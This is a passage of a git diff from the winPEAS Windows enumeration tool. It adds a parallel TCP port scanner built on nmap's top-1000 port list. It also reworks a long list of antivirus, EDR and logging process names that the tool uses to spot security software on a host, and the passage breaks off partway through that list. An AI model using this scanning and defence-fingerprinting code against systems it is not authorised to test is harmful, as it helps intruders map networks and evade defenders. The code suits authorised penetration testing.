ipToUint(byte[] ipBytes) + { + ByteConverter bConvert = new ByteConverter(); + uint ipUint = 0; + + int shift = 24; // indicates number of bits left for shifting + foreach (byte b in ipBytes) + { + if (ipUint == 0) + { + ipUint = (uint)bConvert.ConvertTo(b, typeof(uint)) << shift; + shift -= 8; + continue; + } + + if (shift >= 8) + ipUint += (uint)bConvert.ConvertTo(b, typeof(uint)) << shift; + else + ipUint += (uint)bConvert.ConvertTo(b, typeof(uint)); + + shift -= 8; + } + + return ipUint; + } + + /* reverse byte order in array */ + private static uint reverseBytesArray(uint ip) + { + byte[] bytes = BitConverter.GetBytes(ip); + bytes = bytes.Reverse().ToArray(); + return (uint)BitConverter.ToInt32(bytes, 0); + } + } +} diff --git a/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/NetworkScanner/PortScanner.cs b/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/NetworkScanner/PortScanner.cs new file mode 100644 index 0000000..ca8b229 --- /dev/null +++ b/winPEAS/winPEASexe/winPEAS/Info/NetworkInfo/NetworkScanner/PortScanner.cs @@ -0,0 +1,122 @@ +using System; +using System.Collections.Generic; +using System.Net.Sockets; +using System.Threading; +using System.Threading.Tasks; + +namespace winPEAS.Info.NetworkInfo.NetworkScanner +{ + class PortScanner + { + private int TcpTimeout = 500; // ms + + #region nmap tcp top 1000 + + static List nmapTop1000TCPPorts = new List + { + 1,3,4,6,7,9,13,17,19,20,21,22,23,24,25,26,30,32,33,37,42,43,49,53,70,79,80,81,82,83,84,85,88,89,90,99,100,106,109,110,111,113,119,125,135,139,143,144,146,161,163, + 179,199,211,212,222,254,255,256,259,264,280,301,306,311,340,366,389,406,407,416,417,425,427,443,444,445,458,464,465,481,497,500,512,513,514,515,524,541,543,544,545, + 548,554,555,563,587,593,616,617,625,631,636,646,648,666,667,668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800,801,808,843,873,880,888,898,900,901, + 902,903,911,912,981,987,990,992,993,995,999,1000,1001,1002,1007,1009,1010,1011,1021,1022,1023,1024,1025,1026,1027,1028,1029,1030,1031,1032,1033,1034,1035,1036,1037, + 1038,1039,1040,1041,1042,1043,1044,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,1055,1056,1057,1058,1059,1060,1061,1062,1063,1064,1065,1066,1067,1068,1069,1070, + 1071,1072,1073,1074,1075,1076,1077,1078,1079,1080,1081,1082,1083,1084,1085,1086,1087,1088,1089,1090,1091,1092,1093,1094,1095,1096,1097,1098,1099,1100,1102,1104,1105, + 1106,1107,1108,1110,1111,1112,1113,1114,1117,1119,1121,1122,1123,1124,1126,1130,1131,1132,1137,1138,1141,1145,1147,1148,1149,1151,1152,1154,1163,1164,1165,1166,1169, + 1174,1175,1183,1185,1186,1187,1192,1198,1199,1201,1213,1216,1217,1218,1233,1234,1236,1244,1247,1248,1259,1271,1272,1277,1287,1296,1300,1301,1309,1310,1311,1322,1328, + 1334,1352,1417,1433,1434,1443,1455,1461,1494,1500,1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687,1688,1700,1717,1718,1719,1720,1721,1723,1755, + 1761,1782,1783,1801,1805,1812,1839,1840,1862,1863,1864,1875,1900,1914,1935,1947,1971,1972,1974,1984,1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010, + 2013,2020,2021,2022,2030,2033,2034,2035,2038,2040,2041,2042,2043,2045,2046,2047,2048,2049,2065,2068,2099,2100,2103,2105,2106,2107,2111,2119,2121,2126,2135,2144,2160, + 2161,2170,2179,2190,2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381,2382,2383,2393,2394,2399,2401,2492,2500,2522,2525,2557,2601,2602,2604,2605,2607,2608,2638, + 2701,2702,2710,2717,2718,2725,2800,2809,2811,2869,2875,2909,2910,2920,2967,2968,2998,3000,3001,3003,3005,3006,3007,3011,3013,3017,3030,3031,3052,3071,3077,3128,3168, + 3211,3221,3260,3261,3268,3269,3283,3300,3301,3306,3322,3323,3324,3325,3333,3351,3367,3369,3370,3371,3372,3389,3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689, + 3690,3703,3737,3766,3784,3800,3801,3809,3814,3826,3827,3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000,4001,4002,4003,4004,4005, + 4006,4045,4111,4125,4126,4129,4224,4242,4279,4321,4343,4443,4444,4445,4446,4449,4550,4567,4662,4848,4899,4900,4998,5000,5001,5002,5003,5004,5009,5030,5033,5050,5051, + 5054,5060,5061,5080,5087,5100,5101,5102,5120,5190,5200,5214,5221,5222,5225,5226,5269,5280,5298,5357,5405,5414,5431,5432,5440,5500,5510,5544,5550,5555,5560,5566,5631, + 5633,5666,5678,5679,5718,5730,5800,5801,5802,5810,5811,5815,5822,5825,5850,5859,5862,5877,5900,5901,5902,5903,5904,5906,5907,5910,5911,5915,5922,5925,5950,5952,5959, + 5960,5961,5962,5963,5987,5988,5989,5998,5999,6000,6001,6002,6003,6004,6005,6006,6007,6009,6025,6059,6100,6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547, + 6565,6566,6567,6580,6646,6666,6667,6668,6669,6689,6692,6699,6779,6788,6789,6792,6839,6881,6901,6969,7000,7001,7002,7004,7007,7019,7025,7070,7100,7103,7106,7200,7201, + 7402,7435,7443,7496,7512,7625,7627,7676,7741,7777,7778,7800,7911,7920,7921,7937,7938,7999,8000,8001,8002,8007,8008,8009,8010,8011,8021,8022,8031,8042,8045,8080,8081, + 8082,8083,8084,8085,8086,8087,8088,8089,8090,8093,8099,8100,8180,8181,8192,8193,8194,8200,8222,8254,8290,8291,8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651, + 8652,8654,8701,8800,8873,8888,8899,8994,9000,9001,9002,9003,9009,9010,9011,9040,9050,9071,9080,9081,9090,9091,9099,9100,9101,9102,9103,9110,9111,9200,9207,9220,9290, + 9415,9418,9485,9500,9502,9503,9535,9575,9593,9594,9595,9618,9666,9876,9877,9878,9898,9900,9917,9929,9943,9944,9968,9998,9999,10000,10001,10002,10003,10004,10009,10010, + 10012,10024,10025,10082,10180,10215,10243,10566,10616,10617,10621,10626,10628,10629,10778,11110,11111,11967,12000,12174,12265,12345,13456,13722,13782,13783,14000,14238, + 14441,14442,15000,15002,15003,15004,15660,15742,16000,16001,16012,16016,16018,16080,16113,16992,16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801, + 19842,20000,20005,20031,20221,20222,20828,21571,22939,23502,24444,24800,25734,25735,26214,27000,27352,27353,27355,27356,27715,28201,30000,30718,30951,31038,31337,32768, + 32769,32770,32771,32772,32773,32774,32775,32776,32777,32778,32779,32780,32781,32782,32783,32784,32785,33354,33899,34571,34572,34573,35500,38292,40193,40911,41511,42510, + 44176,44442,44443,44501,45100,48080,49152,49153,49154,49155,49156,49157,49158,49159,49160,49161,49163,49165,49167,49175,49176,49400,49999,50000,50001,50002,50003,50006, + 50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055,55056,55555,55600,56737,56738,57294,57797,58080,60020,60443,61532,61900,62078,63331, + 64623,64680,65000,65129,65389 + }; + + #endregion + + private struct TcpPortState + { + public TcpClient MainClient { get; set; } + public bool IsTcpPortOpen { get; set; } + } + + IEnumerable portsToScan = nmapTop1000TCPPorts; + + public PortScanner(IEnumerable ports) + { + if (ports != null) + { + portsToScan = ports; + } + } + + public void Start(string host) + { + Parallel.ForEach(portsToScan, port => + { + RunScanTcp(host, port); + }); + } + + public void RunScanTcp(string host, int port) + { + Thread.Sleep(1); + + var newClient = new TcpClient(); + + var state = new TcpPortState + { + MainClient = newClient, + IsTcpPortOpen = true + }; + + IAsyncResult ar = newClient.BeginConnect(host, port, AsyncCallback, state); + state.IsTcpPortOpen = ar.AsyncWaitHandle.WaitOne(TcpTimeout, false); + + if (state.IsTcpPortOpen == false || newClient.Connected == false) + { + return; + } + + Console.WriteLine("[+] Open TCP port at: {0}:{1}", host, port); + } + + + void AsyncCallback(IAsyncResult asyncResult) + { + var state = (TcpPortState)asyncResult.AsyncState; + TcpClient client = state.MainClient; + + try + { + client.EndConnect(asyncResult); + } + catch + { + return; + } + + if (client.Connected && state.IsTcpPortOpen) + { + return; + } + + client.Close(); + } + } +} diff --git a/winPEAS/winPEASexe/winPEAS/Info/ProcessInfo/DefensiveProcesses.cs b/winPEAS/winPEASexe/winPEAS/Info/ProcessInfo/DefensiveProcesses.cs index c656c0c..6873d4b 100644 --- a/winPEAS/winPEASexe/winPEAS/Info/ProcessInfo/DefensiveProcesses.cs +++ b/winPEAS/winPEASexe/winPEAS/Info/ProcessInfo/DefensiveProcesses.cs @@ -4,664 +4,103 @@ namespace winPEAS.Info.ProcessInfo { static class DefensiveProcesses { - public static Dictionary Definitions = new Dictionary() + private static Dictionary> Definitions = new Dictionary>() { - {"mcshield.exe" , "McAfee AV"}, - {"windefend.exe" , "Windows Defender AV"}, - {"MSASCui.exe" , "Windows Defender AV"}, - {"MSASCuiL.exe" , "Windows Defender AV"}, - {"msmpeng.exe" , "Windows Defender AV"}, - {"msmpsvc.exe" , "Windows Defender AV"}, - {"WRSA.exe" , "WebRoot AV"}, - {"savservice.exe" , "Sophos AV"}, - {"TMCCSF.exe" , "Trend Micro AV"}, - {"symantec antivirus.exe" , "Symantec AV"}, - {"mbae.exe" , "MalwareBytes Anti-Exploit"}, - {"parity.exe" , "Bit9 application whitelisting"}, - {"cb.exe" , "Carbon Black behavioral analysis"}, - {"bds-vision.exe" , "BDS Vision behavioral analysis"}, - {"Triumfant.exe" , "Triumfant behavioral analysis"}, - {"CSFalcon.exe" , "CrowdStrike Falcon EDR"}, - {"ossec.exe" , "OSSEC intrusion detection"}, - {"TmPfw.exe" , "Trend Micro firewall"}, - {"dgagent.exe" , "Verdasys Digital Guardian DLP"}, - {"kvoop.exe" , " DLP process" }, - {"AAWTray.exe" , ""}, - {"ackwin32.exe" , ""}, - {"Ad-Aware.exe" , ""}, - {"adaware.exe" , ""}, - {"advxdwin.exe" , ""}, - {"agentsvr.exe" , ""}, - {"agentw.exe" , ""}, - {"alertsvc.exe" , ""}, - {"alevir.exe" , ""}, - {"alogserv.exe" , ""}, - {"amon9x.exe" , ""}, - {"anti-trojan.exe" , ""}, - {"antivirus.exe" , ""}, - {"ants.exe" , ""}, - {"apimonitor.exe" , ""}, - {"aplica32.exe" , ""}, - {"apvxdwin.exe" , ""}, - {"arr.exe" , ""}, - {"atcon.exe" , ""}, - {"atguard.exe" , ""}, - {"atro55en.exe" , ""}, - {"atupdater.exe" , ""}, - {"atwatch.exe" , ""}, - {"au.exe" , ""}, - {"aupdate.exe" , ""}, - {"auto-protect.nav80try.exe", ""}, - {"autodown.exe" , ""}, - {"autoruns.exe" , ""}, - {"autorunsc.exe" , ""}, - {"autotrace.exe" , ""}, - {"autoupdate.exe" , ""}, - {"avconsol.exe" , ""}, - {"ave32.exe" , ""}, - {"avgcc32.exe" , ""}, - {"avgctrl.exe" , ""}, - {"avgemc.exe" , ""}, - {"avgnt.exe" , ""}, - {"avgrsx.exe" , ""}, - {"avgserv.exe" , ""}, - {"avgserv9.exe" , ""}, - {"avguard.exe" , ""}, - {"avgwdsvc.exe" , ""}, - {"avgui.exe" , ""}, - {"avgw.exe" , ""}, - {"avkpop.exe" , ""}, - {"avkserv.exe" , ""}, - {"avkservice.exe" , ""}, - {"avkwctl9.exe" , ""}, - {"avltmain.exe" , ""}, - {"avnt.exe" , ""}, - {"avp.exe" , ""}, - {"avp32.exe" , ""}, - {"avpcc.exe" , ""}, - {"avpdos32.exe" , ""}, - {"avpm.exe" , ""}, - {"avptc32.exe" , ""}, - {"avpupd.exe" , ""}, - {"avsched32.exe" , ""}, - {"avsynmgr.exe" , ""}, - {"avwin.exe" , ""}, - {"avwin95.exe" , ""}, - {"avwinnt.exe" , ""}, - {"avwupd.exe" , ""}, - {"avwupd32.exe" , ""}, - {"avwupsrv.exe" , ""}, - {"avxmonitor9x.exe" , ""}, - {"avxmonitornt.exe" , ""}, - {"avxquar.exe" , ""}, - {"backweb.exe" , ""}, - {"bargains.exe" , ""}, - {"bd_professional.exe" , ""}, - {"beagle.exe" , ""}, - {"belt.exe" , ""}, - {"bidef.exe" , ""}, - {"bidserver.exe" , ""}, - {"bipcp.exe" , ""}, - {"bipcpevalsetup.exe" , ""}, - {"bisp.exe" , ""}, - {"blackd.exe" , ""}, - {"blackice.exe" , ""}, - {"blink.exe" , ""}, - {"blss.exe" , ""}, - {"bootconf.exe" , ""}, - {"bootwarn.exe" , ""}, - {"borg2.exe" , ""}, - {"bpc.exe" , ""}, - {"brasil.exe" , ""}, - {"bs120.exe" , ""}, - {"bundle.exe" , ""}, - {"bvt.exe" , ""}, - {"ccapp.exe" , ""}, - {"ccevtmgr.exe" , ""}, - {"ccpxysvc.exe" , ""}, - {"ccSvcHst.exe" , ""}, - {"cdp.exe" , ""}, - {"cfd.exe" , ""}, - {"cfgwiz.exe" , ""}, - {"cfiadmin.exe" , ""}, - {"cfiaudit.exe" , ""}, - {"cfinet.exe" , ""}, - {"cfinet32.exe" , ""}, - {"claw95.exe" , ""}, - {"claw95cf.exe" , ""}, - {"clean.exe" , ""}, - {"cleaner.exe" , ""}, - {"cleaner3.exe" , ""}, - {"cleanpc.exe" , ""}, - {"cleanup.exe" , ""}, - {"click.exe" , ""}, - {"cmdagent.exe" , ""}, - {"cmesys.exe" , ""}, - {"cmgrdian.exe" , ""}, - {"cmon016.exe" , ""}, - {"connectionmonitor.exe" , ""}, - {"cpd.exe" , ""}, - {"cpf9x206.exe" , ""}, - {"cpfnt206.exe" , ""}, - {"ctrl.exe" , ""}, - {"cv.exe" , ""}, - {"cwnb181.exe" , ""}, - {"cwntdwmo.exe" , ""}, - {"CylanceUI.exe" , ""}, - {"CyProtect.exe" , ""}, - {"CyUpdate.exe" , ""}, - {"cyserver.exe" , ""}, - {"cytray.exe" , ""}, - {"CyveraService.exe" , ""}, - {"datemanager.exe" , ""}, - {"dcomx.exe" , ""}, - {"defalert.exe" , ""}, - {"defscangui.exe" , ""}, - {"defwatch.exe" , ""}, - {"deputy.exe" , ""}, - {"divx.exe" , ""}, - {"dgprompt.exe" , ""}, - {"DgService.exe" , ""}, - {"dllcache.exe" , ""}, - {"dllreg.exe" , ""}, - {"doors.exe" , ""}, - {"dpf.exe" , ""}, - {"dpfsetup.exe" , ""}, - {"dpps2.exe" , ""}, - {"drwatson.exe" , ""}, - {"drweb32.exe" , ""}, - {"drwebupw.exe" , ""}, - {"dssagent.exe" , ""}, - {"dumpcap.exe" , ""}, - {"dvp95.exe" , ""}, - {"dvp95_0.exe" , ""}, - {"ecengine.exe" , ""}, - {"efpeadm.exe" , ""}, - {"egui.exe" , ""}, - {"ekrn.exe" , ""}, - {"emet_agent.exe" , ""}, - {"emet_service.exe" , ""}, - {"emsw.exe" , ""}, - {"engineserver.exe" , ""}, - {"ent.exe" , ""}, - {"esafe.exe" , ""}, - {"escanhnt.exe" , ""}, - {"escanv95.exe" , ""}, - {"espwatch.exe" , ""}, - {"ethereal.exe" , ""}, - {"etrustcipe.exe" , ""}, - {"evpn.exe" , ""}, - {"exantivirus-cnet.exe" , ""}, - {"exe.avxw.exe" , ""}, - {"expert.exe" , ""}, - {"explore.exe" , ""}, - {"f-agnt95.exe" , ""}, - {"f-prot.exe" , ""}, - {"f-prot95.exe" , ""}, - {"f-stopw.exe" , ""}, - {"fameh32.exe" , ""}, - {"fast.exe" , ""}, - {"fch32.exe" , ""}, - {"fcagswd.exe" , "McAfee DLP Agent"}, - {"fcags.exe" , "McAfee DLP Agent"}, - {"fih32.exe" , ""}, - {"findviru.exe" , ""}, - {"firesvc.exe" , "McAfee Host Intrusion Prevention"}, - {"firetray.exe" , ""}, - {"firewall.exe" , ""}, - {"fnrb32.exe" , ""}, - {"fp-win.exe" , ""}, - {"fp-win_trial.exe" , ""}, - {"fprot.exe" , ""}, - {"frameworkservice.exe" , ""}, - {"frminst.exe" , ""}, - {"frw.exe" , ""}, - {"fsaa.exe" , ""}, - {"fsav.exe" , ""}, - {"fsav32.exe" , ""}, - {"fsav530stbyb.exe" , ""}, - {"fsav530wtbyb.exe" , ""}, - {"fsav95.exe" , ""}, - {"fsgk32.exe" , ""}, - {"fsm32.exe" , ""}, - {"fsma32.exe" , ""}, - {"fsmb32.exe" , ""}, - {"gator.exe" , ""}, - {"gbmenu.exe" , ""}, - {"gbpoll.exe" , ""}, - {"generics.exe" , ""}, - {"gmt.exe" , ""}, - {"guard.exe" , ""}, - {"guarddog.exe" , ""}, - {"hacktracersetup.exe" , ""}, - {"hbinst.exe" , ""}, - {"hbsrv.exe" , ""}, - {"HijackThis.exe" , ""}, - {"hipsvc.exe" , ""}, - {"HipMgmt.exe" , "McAfee Host Intrusion Protection"}, - {"hotactio.exe" , ""}, - {"hotpatch.exe" , ""}, - {"htlog.exe" , ""}, - {"htpatch.exe" , ""}, - {"hwpe.exe" , ""}, - {"hxdl.exe" , ""}, - {"hxiul.exe" , ""}, - {"iamapp.exe" , ""}, - {"iamserv.exe" , ""}, - {"iamstats.exe" , ""}, - {"ibmasn.exe" , ""}, - {"ibmavsp.exe" , ""}, - {"icload95.exe" , ""}, - {"icloadnt.exe" , ""}, - {"icmon.exe" , ""}, - {"icsupp95.exe" , ""}, - {"icsuppnt.exe" , ""}, - {"idle.exe" , ""}, - {"iedll.exe" , ""}, - {"iedriver.exe" , ""}, - {"iface.exe" , ""}, - {"ifw2000.exe" , ""}, - {"inetlnfo.exe" , ""}, - {"infus.exe" , ""}, - {"infwin.exe" , ""}, - {"init.exe" , ""}, - {"intdel.exe" , ""}, - {"intren.exe" , ""}, - {"iomon98.exe" , ""}, - {"istsvc.exe" , ""}, - {"jammer.exe" , ""}, - {"jdbgmrg.exe" , ""}, - {"jedi.exe" , ""}, - {"kavlite40eng.exe" , ""}, - {"kavpers40eng.exe" , ""}, - {"kavpf.exe" , ""}, - {"kazza.exe" , ""}, - {"keenvalue.exe" , ""}, - {"kerio-pf-213-en-win.exe" , ""}, - {"kerio-wrl-421-en-win.exe" , ""}, - {"kerio-wrp-421-en-win.exe" , ""}, - {"kernel32.exe" , ""}, - {"KeyPass.exe" , ""}, - {"killprocesssetup161.exe" , ""}, - {"launcher.exe" , ""}, - {"ldnetmon.exe" , ""}, - {"ldpro.exe" , ""}, - {"ldpromenu.exe" , ""}, - {"ldscan.exe" , ""}, - {"lnetinfo.exe" , ""}, - {"loader.exe" , ""}, - {"localnet.exe" , ""}, - {"lockdown.exe" , ""}, - {"lockdown2000.exe" , ""}, - {"lookout.exe" , ""}, - {"lordpe.exe" , ""}, - {"lsetup.exe" , ""}, - {"luall.exe" , ""}, - {"luau.exe" , ""}, - {"lucomserver.exe" , ""}, - {"luinit.exe" , ""}, - {"luspt.exe" , ""}, - {"mapisvc32.exe" , ""}, - {"masvc.exe" , "McAfee Agent"}, - {"mbamservice.exe" , ""}, - {"mcafeefire.exe" , ""}, - {"mcagent.exe" , ""}, - {"mcmnhdlr.exe" , ""}, - {"mcscript.exe" , ""}, - {"mcscript_inuse.exe" , ""}, - {"mctool.exe" , ""}, - {"mctray.exe" , ""}, - {"mcupdate.exe" , ""}, - {"mcvsrte.exe" , ""}, - {"mcvsshld.exe" , ""}, - {"md.exe" , ""}, - {"mfeann.exe" , "McAfee VirusScan Enterprise"}, - {"mfemactl.exe" , "McAfee VirusScan Enterprise"}, - {"mfevtps.exe" , ""}, - {"mfin32.exe" , ""}, - {"mfw2en.exe" , ""}, - {"mfweng3.02d30.exe" , ""}, - {"mgavrtcl.exe" , ""}, - {"mgavrte.exe" , ""}, - {"mghtml.exe" , ""}, - {"mgui.exe" , ""}, - {"minilog.exe" , ""}, - {"minionhost.exe" , ""}, - {"mmod.exe" , ""}, - {"monitor.exe" , ""}, - {"moolive.exe" , ""}, - {"mostat.exe" , ""}, - {"mpfagent.exe" , ""}, - {"mpfservice.exe" , ""}, - {"mpftray.exe" , ""}, - {"mrflux.exe" , ""}, - {"msapp.exe" , ""}, - {"msbb.exe" , ""}, - {"msblast.exe" , ""}, - {"mscache.exe" , ""}, - {"msccn32.exe" , ""}, - {"mscman.exe" , ""}, - {"msconfig.exe" , ""}, - {"msdm.exe" , ""}, - {"msdos.exe" , ""}, - {"msiexec16.exe" , ""}, - {"msinfo32.exe" , ""}, - {"mslaugh.exe" , ""}, - {"msmgt.exe" , ""}, - {"msmsgri32.exe" , ""}, - {"MsSense.exe" , "Microsoft Defender ATP"}, - {"mssmmc32.exe" , ""}, - {"mssys.exe" , ""}, - {"msvxd.exe" , ""}, - {"mu0311ad.exe" , ""}, - {"mwatch.exe" , ""}, - {"n32scanw.exe" , ""}, - {"naprdmgr.exe" , ""}, - {"nav.exe" , ""}, - {"navap.navapsvc.exe" , ""}, - {"navapsvc.exe" , ""}, - {"navapw32.exe" , ""}, - {"navdx.exe" , ""}, - {"navlu32.exe" , ""}, - {"navnt.exe" , ""}, - {"navstub.exe" , ""}, - {"navw32.exe" , ""}, - {"navwnt.exe" , ""}, - {"nc2000.exe" , ""}, - {"ncinst4.exe" , ""}, - {"ndd32.exe" , ""}, - {"neomonitor.exe" , ""}, - {"neowatchlog.exe" , ""}, - {"netarmor.exe" , ""}, - {"netd32.exe" , ""}, - {"netinfo.exe" , ""}, - {"netmon.exe" , ""}, - {"netscanpro.exe" , ""}, - {"netspyhunter-1.2.exe" , ""}, - {"netstat.exe" , ""}, - {"netutils.exe" , ""}, - {"nisserv.exe" , ""}, - {"nisum.exe" , ""}, - {"nmain.exe" , ""}, - {"nod32.exe" , ""}, - {"normist.exe" , ""}, - {"norton_internet_secu_3.0_407.exe" , ""}, - {"notstart.exe" , ""}, - {"npf40_tw_98_nt_me_2k.exe" , ""}, - {"npfmessenger.exe" , ""}, - {"nprotect.exe" , ""}, - {"npscheck.exe" , ""}, - {"npssvc.exe" , ""}, - {"nsched32.exe" , ""}, - {"nssys32.exe" , ""}, - {"nstask32.exe" , ""}, - {"nsupdate.exe" , ""}, - {"nt.exe" , ""}, - {"ntrtscan.exe" , ""}, - {"ntvdm.exe" , ""}, - {"ntxconfig.exe" , ""}, - {"nui.exe" , ""}, - {"nupgrade.exe" , ""}, - {"nvarch16.exe" , ""}, - {"nvc95.exe" , ""}, - {"nvsvc32.exe" , ""}, - {"nwinst4.exe" , ""}, - {"nwservice.exe" , ""}, - {"nwtool16.exe" , ""}, - {"nxlog.exe" , ""}, - {"ollydbg.exe" , ""}, - {"onsrvr.exe" , ""}, - {"optimize.exe" , ""}, - {"ostronet.exe" , ""}, - {"osqueryd.exe" , ""}, - {"otfix.exe" , ""}, - {"outpost.exe" , ""}, - {"outpostinstall.exe" , ""}, - {"outpostproinstall.exe" , ""}, - {"padmin.exe" , ""}, - {"panixk.exe" , ""}, - {"patch.exe" , ""}, - {"pavcl.exe" , ""}, - {"pavproxy.exe" , ""}, - {"pavsched.exe" , ""}, - {"pavw.exe" , ""}, - {"pccwin98.exe" , ""}, - {"pcfwallicon.exe" , ""}, - {"pcip10117_0.exe" , ""}, - {"pcscan.exe" , ""}, - {"pdsetup.exe" , ""}, - {"periscope.exe" , ""}, - {"persfw.exe" , ""}, - {"perswf.exe" , ""}, - {"pf2.exe" , ""}, - {"pfwadmin.exe" , ""}, - {"pgmonitr.exe" , ""}, - {"pingscan.exe" , ""}, - {"platin.exe" , ""}, - {"pop3trap.exe" , ""}, - {"poproxy.exe" , ""}, - {"popscan.exe" , ""}, - {"portdetective.exe" , ""}, - {"portmonitor.exe" , ""}, - {"powerscan.exe" , ""}, - {"ppinupdt.exe" , ""}, - {"pptbc.exe" , ""}, - {"ppvstop.exe" , ""}, - {"prizesurfer.exe" , ""}, - {"prmt.exe" , ""}, - {"prmvr.exe" , ""}, - {"procdump.exe" , ""}, - {"processmonitor.exe" , ""}, - {"procexp.exe" , ""}, - {"procexp64.exe" , ""}, - {"procexplorerv1.0.exe" , ""}, - {"procmon.exe" , ""}, - {"programauditor.exe" , ""}, - {"proport.exe" , ""}, - {"protectx.exe" , ""}, - {"pspf.exe" , ""}, - {"purge.exe" , ""}, - {"qconsole.exe" , ""}, - {"qserver.exe" , ""}, - {"rapapp.exe" , ""}, - {"rav7.exe" , ""}, - {"rav7win.exe" , ""}, - {"rav8win32eng.exe" , ""}, - {"ray.exe" , ""}, - {"rb32.exe" , ""}, - {"rcsync.exe" , ""}, - {"realmon.exe" , ""}, - {"reged.exe" , ""}, - {"regedit.exe" , ""}, - {"regedt32.exe" , ""}, - {"rescue.exe" , ""}, - {"rescue32.exe" , ""}, - {"rrguard.exe" , ""}, - {"rtvscan.exe" , ""}, - {"rtvscn95.exe" , ""}, - {"rulaunch.exe" , ""}, - {"run32dll.exe" , ""}, - {"rundll.exe" , ""}, - {"rundll16.exe" , ""}, - {"ruxdll32.exe" , ""}, - {"safeweb.exe" , ""}, - {"sahagent.exescan32.exe" , ""}, - {"save.exe" , ""}, - {"savenow.exe" , ""}, - {"sbserv.exe" , ""}, - {"scam32.exe" , ""}, - {"scan32.exe" , ""}, - {"scan95.exe" , ""}, - {"scanpm.exe" , ""}, - {"scrscan.exe" , ""}, - {"SentinelOne.exe" , ""}, - {"serv95.exe" , ""}, - {"setupvameeval.exe" , ""}, - {"setup_flowprotector_us.exe", ""}, - {"sfc.exe" , ""}, - {"sgssfw32.exe" , ""}, - {"sh.exe" , ""}, - {"shellspyinstall.exe" , ""}, - {"shn.exe" , ""}, - {"showbehind.exe" , ""}, - {"shstat.exe" , "McAfee VirusScan Enterprise"}, - {"SISIDSService.exe" , ""}, - {"SISIPSUtil.exe" , ""}, - {"smc.exe" , ""}, - {"sms.exe" , ""}, - {"smss32.exe" , ""}, - {"soap.exe" , ""}, - {"sofi.exe" , ""}, - {"sperm.exe" , ""}, - {"splunk.exe" , "Splunk"}, - {"splunkd.exe" , "Splunk"}, - {"splunk-admon.exe" , "Splunk"}, - {"splunk-powershell.exe" , "Splunk"}, - {"splunk-winevtlog.exe" , "Splunk"}, - {"spf.exe" , ""}, - {"sphinx.exe" , ""}, - {"spoler.exe" , ""}, - {"spoolcv.exe" , ""}, - {"spoolsv32.exe" , ""}, - {"spyxx.exe" , ""}, - {"srexe.exe" , ""}, - {"srng.exe" , ""}, - {"ss3edit.exe" , ""}, - {"ssgrate.exe" , ""}, - {"ssg_4104.exe" , ""}, - {"st2.exe" , ""}, - {"start.exe" , ""}, - {"stcloader.exe" , ""}, - {"supftrl.exe" , ""}, - {"support.exe" , ""}, - {"supporter5.exe" , ""}, - {"svchostc.exe" , ""}, - {"svchosts.exe" , ""}, - {"sweep95.exe" , ""}, - {"sweepnet.sweepsrv.sys.swnetsup.exe", ""}, - {"symproxysvc.exe" , ""}, - {"symtray.exe" , ""}, - {"sysedit.exe" , ""}, - {"sysmon.exe" , "Sysinternals Sysmon"}, - {"sysupd.exe" , ""}, - {"TaniumClient.exe" , "Tanium"}, - {"taskmg.exe" , ""}, - {"taskmo.exe" , ""}, - {"taumon.exe" , ""}, - {"tbmon.exe" , ""}, - {"tbscan.exe" , ""}, - {"tc.exe" , ""}, - {"tca.exe" , ""}, - {"tcm.exe" , ""}, - {"tcpview.exe" , ""}, - {"tds-3.exe" , ""}, - {"tds2-98.exe" , ""}, - {"tds2-nt.exe" , ""}, - {"teekids.exe" , ""}, - {"tfak.exe" , ""}, - {"tfak5.exe" , ""}, - {"tgbob.exe" , ""}, - {"titanin.exe" , ""}, - {"titaninxp.exe" , ""}, - {"tlaservice.exe" , ""}, - {"tlaworker.exe" , ""}, - {"tracert.exe" , ""}, - {"trickler.exe" , ""}, - {"trjscan.exe" , ""}, - {"trjsetup.exe" , ""}, - {"trojantrap3.exe" , ""}, - {"tsadbot.exe" , ""}, - {"tshark.exe" , ""}, - {"tvmd.exe" , ""}, - {"tvtmd.exe" , ""}, - {"udaterui.exe" , ""}, - {"undoboot.exe" , ""}, - {"updat.exe" , ""}, - {"update.exe" , ""}, - {"updaterui.exe" , ""}, - {"upgrad.exe" , ""}, - {"utpost.exe" , ""}, - {"vbcmserv.exe" , ""}, - {"vbcons.exe" , ""}, - {"vbust.exe" , ""}, - {"vbwin9x.exe" , ""}, - {"vbwinntw.exe" , ""}, - {"vcsetup.exe" , ""}, - {"vet32.exe" , ""}, - {"vet95.exe" , ""}, - {"vettray.exe" , ""}, - {"vfsetup.exe" , ""}, - {"vir-help.exe" , ""}, - {"virusmdpersonalfirewall.exe", ""}, - {"vnlan300.exe" , ""}, - {"vnpc3000.exe" , ""}, - {"vpc32.exe" , ""}, - {"vpc42.exe" , ""}, - {"vpfw30s.exe" , ""}, - {"vptray.exe" , ""}, - {"vscan40.exe" , ""}, - {"vscenu6.02d30.exe" , ""}, - {"vsched.exe" , ""}, - {"vsecomr.exe" , ""}, - {"vshwin32.exe" , ""}, - {"vsisetup.exe" , ""}, - {"vsmain.exe" , ""}, - {"vsmon.exe" , ""}, - {"vsstat.exe" , ""}, - {"vstskmgr.exe" , "McAfee VirusScan Enterprise"}, - {"vswin9xe.exe" , ""}, - {"vswinntse.exe" , ""}, - {"vswinperse.exe" , ""}, - {"w32dsm89.exe" , ""}, - {"w9x.exe" , ""}, - {"watchdog.exe" , ""}, - {"webdav.exe" , ""}, - {"webscanx.exe" , ""}, - {"webtrap.exe" , ""}, - {"wfindv32.exe" , ""}, - {"whoswatchingme.exe" , ""}, - {"wimmun32.exe" , ""}, - {"win-bugsfix.exe" , ""}, - {"win32.exe" , ""}, - {"win32us.exe" , ""}, - {"winactive.exe" , ""}, - {"window.exe" , ""}, - {"windows.exe" , ""}, - {"wininetd.exe" , ""}, - {"wininitx.exe" , ""}, - {"winlogin.exe" , 